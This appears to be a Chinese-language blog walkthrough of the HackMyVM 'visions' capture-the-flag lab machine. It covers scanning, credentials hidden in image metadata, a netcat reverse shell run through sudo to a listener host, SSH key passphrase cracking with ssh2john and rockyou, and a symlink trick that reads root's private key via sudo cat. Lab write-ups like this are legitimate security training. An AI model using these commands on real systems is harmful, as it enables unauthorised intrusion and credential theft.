当前位置:网站首页>HackMyvm靶機系列(3)-visions
HackMyvm靶機系列(3)-visions
2022-07-06 13:57:00 【月應知我意】
一、信息收集
先探測網段,得到目標主機
nmap -sP 192.168.200.0/24 | grep -i -B 2 virtualbox
然後進行端口掃描,發現ssh服務和http服務
nmap -sC -sV -p- 192.168.200.234
訪問一下http服務,發現只有一張圖片和一段注釋。

這段注釋看上去是一個提示,aliccia猜測可能是一個用戶

使用dirsearch掃描一下目錄,看看能有什麼收獲不
dirsearch -u http://192.168.200.234/ -e php,html,txt,bak,zip,7z,gz,db -x 404,301,500,502然而什麼東西都麼有

根據它的提示,將圖片下載下來,查看一下圖片的元數據是啥
curl http://192.168.200.234/white.png -o white.png
./exiftool white.png如圖,發現了密碼
工具用法與下載:

alicia:ihaveadream二、漏洞利用
成功登入

進來之後在當前目錄下沒發現flag,看了一下家目錄發現有4個用戶,然後在sophia目錄下發現了flag,但是沒有權限,運行不了。
那就先試試提權?

sudo -l發現當前用戶可以以emma用戶的身份運行nc而不需要使用密碼。

既然如此,那就先反彈shell試試。
kali上監聽端口

然後在目標機上執行下面命語句
sudo -u emma nc 192.168.200.192 10000 -e /bin/bash
成功接受到shell,使用python獲得一個交互式shell
python -c 'import pty; pty.spawn("/bin/bash")'
在當前目錄下發現一個note.txt文件,內容如下。
我情不自禁???不知道啥意思。

然後我又查看了一下suid和sudo提權,都沒啥突破口。
後來看了大佬的wp,發現需要使用到一些圖片處理工具
上傳圖片後,點擊這個箭頭處。

然後就能看到用戶名和密碼了,這題是真的坑,信息全藏在這張圖片裏了

sophia:seemstobeimpossible登錄成功

當前用戶可以使用任何用戶的身份使用cat命令查看.invisible文件。這意味著我們使用cat命令查看該文件的時候可以用擁有root權限。

打開一看,是用戶isabella的私鑰欸,拿去登錄試試

居然還要繼續輸入密碼。

只能開始爆破了
可以使用john the ripper進行爆破,但是要先使用下面命令將id_rsa轉換為john能識別的hash值
python3 /usr/share/john/ssh2john.py id_rsa > crack.txt
我這裏使用脚本進行爆破。
rockyou.txt是kali自帶的一個字典,/usr/share/wordlists/rockyou.txt.gz,使用之前需要對其解壓,不然會亂碼
gzip -d rockyou.txt.gz
成功爆破出密碼(密碼在1萬多行,但是這裏由於寫wp我就把它放前面來了)
invisible如圖,登錄成功
從下面開始,由於換了一個網絡,所以這個IP變了

三、權限提昇
在這裏看看有沒有可以用來提權的命令
然而並沒有什麼突破點

後來突然想起之前sophia用戶使用cat命令讀取.invisible文件是具有root權限的,那我能不能使用isabella用戶將.invisiblla用戶鏈接到root用戶的私鑰上去呢?

創建軟鏈接
ln -sf /root/.ssh/id_rsa .invisible
讀取root用戶的私鑰
sudo cat /home/isabella/.invisible
這裏使用私鑰登錄是會有一個小問題,權限太高會導致登陸失敗。

將權限降低,再進行登錄
chmod 600 key登錄成功,獲得root權限

边栏推荐
- [the Nine Yang Manual] 2017 Fudan University Applied Statistics real problem + analysis
- 5月27日杂谈
- . How to upload XMIND files to Jinshan document sharing online editing?
- [the Nine Yang Manual] 2022 Fudan University Applied Statistics real problem + analysis
- [dark horse morning post] Shanghai Municipal Bureau of supervision responded that Zhong Xue had a high fever and did not melt; Michael admitted that two batches of pure milk were unqualified; Wechat i
- 1143_ SiCp learning notes_ Tree recursion
- 7-9 制作门牌号3.0(PTA程序设计)
- [three paradigms of database] you can understand it at a glance
- Experiment 4 array
- 【数据库 三大范式】一看就懂
猜你喜欢
![[during the interview] - how can I explain the mechanism of TCP to achieve reliable transmission](/img/d6/109042b77de2f3cfbf866b24e89a45.png)
[during the interview] - how can I explain the mechanism of TCP to achieve reliable transmission

Matlab opens M file garbled solution

【VMware异常问题】问题分析&解决办法

HackMyvm靶机系列(3)-visions

Principles, advantages and disadvantages of two persistence mechanisms RDB and AOF of redis
![[hand tearing code] single case mode and producer / consumer mode](/img/b3/243843baaf0d16edeab09142b4ac09.png)
[hand tearing code] single case mode and producer / consumer mode

C language Getting Started Guide

仿牛客技术博客项目常见问题及解答(二)

甲、乙机之间采用方式 1 双向串行通信,具体要求如下: (1)甲机的 k1 按键可通过串行口控制乙机的 LEDI 点亮、LED2 灭,甲机的 k2 按键控制 乙机的 LED1

SRC挖掘思路及方法
随机推荐
A piece of music composed by buzzer (Chengdu)
自定义RPC项目——常见问题及详解(注册中心)
【MySQL-表结构与完整性约束的修改(ALTER)】
SRC挖掘思路及方法
实验八 异常处理
Experiment five categories and objects
[au cours de l'entrevue] - Comment expliquer le mécanisme de transmission fiable de TCP
仿牛客技术博客项目常见问题及解答(二)
7-3 构造散列表(PTA程序设计)
Force deduction 152 question multiplier maximum subarray
Implementation principle of automatic capacity expansion mechanism of ArrayList
Renforcer les dossiers de base de l'apprentissage
Reinforcement learning series (I): basic principles and concepts
Meituan dynamic thread pool practice ideas, open source
JS several ways to judge whether an object is an array
Experiment 8 exception handling
稻 城 亚 丁
Experiment 6 inheritance and polymorphism
强化学习系列(一):基本原理和概念
Strengthen basic learning records